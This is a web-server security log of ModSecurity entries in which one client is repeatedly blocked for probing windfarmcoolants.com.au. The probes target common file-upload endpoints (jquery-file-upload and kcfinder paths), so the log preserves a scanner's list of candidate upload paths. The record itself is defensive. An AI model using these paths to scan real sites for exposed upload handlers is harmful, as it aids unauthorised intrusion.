[Mon May 25 06:24:35.773003 2026] [:error] [pid 9302:tid 9322] [client 170.64.221.168:49150] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFROwAAAA8"]
[Mon May 25 06:24:35.791206 2026] [:error] [pid 9302:tid 9315] [client 170.64.221.168:49154] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/global/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRPAAAAAg"]
[Mon May 25 06:24:35.795291 2026] [:error] [pid 9302:tid 9324] [client 170.64.221.168:49166] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRPQAAABE"]
[Mon May 25 06:24:35.813608 2026] [:error] [pid 9302:tid 9317] [client 170.64.221.168:49182] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRPgAAAAo"]
[Mon May 25 06:24:35.816841 2026] [:error] [pid 9398:tid 9415] [client 170.64.221.168:49188] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pRQAAAMs"]
[Mon May 25 06:24:35.860169 2026] [:error] [pid 9302:tid 9329] [client 170.64.221.168:49202] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/jquery-file-upload/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRPwAAABY"]
[Mon May 25 06:24:35.954564 2026] [:error] [pid 21606:tid 21624] [client 170.64.221.168:49214] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahN6o2swdp0RYkH5t9XAiAAAAVA"]
[Mon May 25 06:24:35.955830 2026] [:error] [pid 21606:tid 21619] [client 170.64.221.168:49232] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahN6o2swdp0RYkH5t9XAiQAAAUs"]
[Mon May 25 06:24:35.957004 2026] [:error] [pid 21606:tid 21621] [client 170.64.221.168:49218] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahN6o2swdp0RYkH5t9XAigAAAU0"]
[Mon May 25 06:24:35.957821 2026] [:error] [pid 9302:tid 9311] [client 170.64.221.168:49238] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/server/php/"] [unique_id "ahN6oy1RaFfTSnDQnqFRQAAAAAQ"]
[Mon May 25 06:24:35.974313 2026] [:error] [pid 9398:tid 9419] [client 170.64.221.168:49252] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/server/php/"] [unique_id "ahN6o-hIu7KstzsCua-pRgAAAM8"]
[Mon May 25 06:24:35.991865 2026] [:error] [pid 21606:tid 21629] [client 170.64.221.168:49264] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahN6o2swdp0RYkH5t9XAiwAAAVU"]
[Mon May 25 06:24:35.995720 2026] [:error] [pid 21606:tid 21627] [client 170.64.221.168:49270] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahN6o2swdp0RYkH5t9XAjAAAAVM"]
[Mon May 25 06:24:35.998464 2026] [:error] [pid 9302:tid 9308] [client 170.64.221.168:49284] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahN6oy1RaFfTSnDQnqFRQQAAAAE"]
[Mon May 25 06:24:35.999616 2026] [:error] [pid 21606:tid 21626] [client 170.64.221.168:49298] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahN6o2swdp0RYkH5t9XAjQAAAVI"]
[Mon May 25 06:24:36.000737 2026] [:error] [pid 21606:tid 21622] [client 170.64.221.168:49316] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAjgAAAU4"]
[Mon May 25 06:24:36.001697 2026] [:error] [pid 9398:tid 9413] [client 170.64.221.168:49312] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/server/php/"] [unique_id "ahN6pOhIu7KstzsCua-pRwAAAMk"]
[Mon May 25 06:24:36.012099 2026] [:error] [pid 9302:tid 9312] [client 170.64.221.168:49320] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahN6pC1RaFfTSnDQnqFRQgAAAAU"]
[Mon May 25 06:24:36.017978 2026] [:error] [pid 21606:tid 21613] [client 170.64.221.168:49334] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAjwAAAUU"]
[Mon May 25 06:24:36.031357 2026] [:error] [pid 9302:tid 9319] [client 170.64.221.168:49344] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRQwAAAAw"]
[Mon May 25 06:24:36.034383 2026] [:error] [pid 9302:tid 9313] [client 170.64.221.168:49360] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahN6pC1RaFfTSnDQnqFRRAAAAAY"]
[Mon May 25 06:24:36.037963 2026] [:error] [pid 9398:tid 9418] [client 170.64.221.168:49364] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pSAAAAM4"]
[Mon May 25 06:24:36.040826 2026] [:error] [pid 21606:tid 21615] [client 170.64.221.168:49370] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAkAAAAUc"]
[Mon May 25 06:24:36.042111 2026] [:error] [pid 9302:tid 9321] [client 170.64.221.168:49396] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahN6pC1RaFfTSnDQnqFRRQAAAA4"]
[Mon May 25 06:24:36.042617 2026] [:error] [pid 50423:tid 50437] [client 170.64.221.168:49382] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/kcfinder/upload.php"] [unique_id "ahN6pKJWO7En4nKEQ3gvoQAAAQw"]
[Mon May 25 06:24:36.043507 2026] [:error] [pid 9398:tid 9401] [client 170.64.221.168:49410] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/server/php/"] [unique_id "ahN6pOhIu7KstzsCua-pSQAAAME"]
[Mon May 25 06:24:36.044389 2026] [:error] [pid 9302:tid 9320] [client 170.64.221.168:49418] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/server/php/"] [unique_id "ahN6pC1RaFfTSnDQnqFRRgAAAA0"]
[Mon May 25 06:24:36.045223 2026] [:error] [pid 21606:tid 21611] [client 170.64.221.168:49430] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAkQAAAUM"]
[Mon May 25 06:24:36.048579 2026] [:error] [pid 21606:tid 21632] [client 170.64.221.168:49424] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAkgAAAVg"]
[Mon May 25 06:24:36.052663 2026] [:error] [pid 9302:tid 9326] [client 170.64.221.168:49446] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahN6pC1RaFfTSnDQnqFRRwAAABM"]
[Mon May 25 06:24:36.061131 2026] [:error] [pid 9302:tid 9309] [client 170.64.221.168:49460] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/server/php/"] [unique_id "ahN6pC1RaFfTSnDQnqFRSAAAAAI"]
[Mon May 25 06:24:36.074957 2026] [:error] [pid 9304:tid 9367] [client 170.64.221.168:49474] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahN6pOVEV2qpMC_1UzR_CwAAAIY"]
[Mon May 25 06:24:36.077010 2026] [:error] [pid 9304:tid 9376] [client 170.64.221.168:49478] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/jquery-file-upload/server/php/"] [unique_id "ahN6pOVEV2qpMC_1UzR_DAAAAI8"]
[Mon May 25 06:24:36.083813 2026] [:error] [pid 21606:tid 21618] [client 170.64.221.168:49480] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAkwAAAUo"]
[Mon May 25 06:24:36.085066 2026] [:error] [pid 50423:tid 50429] [client 170.64.221.168:49490] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/server/php/"] [unique_id "ahN6pKJWO7En4nKEQ3gvogAAAQQ"]
[Mon May 25 06:24:36.087359 2026] [:error] [pid 9304:tid 9373] [client 170.64.221.168:49502] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/server/php/"] [unique_id "ahN6pOVEV2qpMC_1UzR_DQAAAIw"]
[Mon May 25 06:24:36.090595 2026] [:error] [pid 21606:tid 21616] [client 170.64.221.168:49510] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAlAAAAUg"]
[Mon May 25 06:24:36.094070 2026] [:error] [pid 21606:tid 21608] [client 170.64.221.168:49512] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/js/jquery-file-upload/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAlQAAAUA"]
[Mon May 25 06:24:36.116839 2026] [:error] [pid 21606:tid 21628] [client 170.64.221.168:49528] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAlgAAAVQ"]
[Mon May 25 06:24:36.125572 2026] [:error] [pid 21606:tid 21612] [client 170.64.221.168:49534] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/js/jquery-file-upload/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAlwAAAUQ"]
[Mon May 25 06:24:36.129758 2026] [:error] [pid 21606:tid 21620] [client 170.64.221.168:49548] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/asset/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAmAAAAUw"]
[Mon May 25 06:24:36.131711 2026] [:error] [pid 21606:tid 21609] [client 170.64.221.168:49552] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugin/server/php/"] [unique_id "ahN6pGswdp0RYkH5t9XAmQAAAUE"]
[Mon May 25 06:24:36.150549 2026] [:error] [pid 9302:tid 9314] [client 170.64.221.168:49566] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRSQAAAAc"]
[Mon May 25 06:24:36.182881 2026] [:error] [pid 21606:tid 21630] [client 170.64.221.168:49574] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAmgAAAVY"]
[Mon May 25 06:24:36.190177 2026] [:error] [pid 21606:tid 21623] [client 170.64.221.168:49582] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahN6pGswdp0RYkH5t9XAmwAAAU8"]
[Mon May 25 06:24:36.192280 2026] [:error] [pid 9302:tid 9316] [client 170.64.221.168:49602] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRSgAAAAk"]
[Mon May 25 06:24:36.193341 2026] [:error] [pid 9302:tid 9331] [client 170.64.221.168:49588] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRSwAAABg"]
[Mon May 25 06:24:36.207620 2026] [:error] [pid 9302:tid 9307] [client 170.64.221.168:49618] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/js/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRTAAAAAA"]
[Mon May 25 06:24:36.226443 2026] [:error] [pid 9302:tid 9328] [client 170.64.221.168:49626] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRTQAAABU"]
[Mon May 25 06:24:36.227149 2026] [:error] [pid 9302:tid 9310] [client 170.64.221.168:49644] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckeditor/plugins/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRTgAAAAM"]
[Mon May 25 06:24:36.227434 2026] [:error] [pid 9302:tid 9323] [client 170.64.221.168:49632] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/assets/plugins/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRTwAAABA"]
[Mon May 25 06:24:36.230119 2026] [:error] [pid 9302:tid 9322] [client 170.64.221.168:49648] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/core/scripts/wysiwyg/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRUAAAAA8"]
[Mon May 25 06:24:36.236915 2026] [:error] [pid 9302:tid 9315] [client 170.64.221.168:49652] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ckeditor/kcfinder/upload.php"] [unique_id "ahN6pC1RaFfTSnDQnqFRUQAAAAg"]
[Mon May 25 06:24:36.237270 2026] [:error] [pid 9398:tid 9427] [client 170.64.221.168:49662] [client 170.64.221.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/components/kcfinder/upload.php"] [unique_id "ahN6pOhIu7KstzsCua-pSgAAANc"]
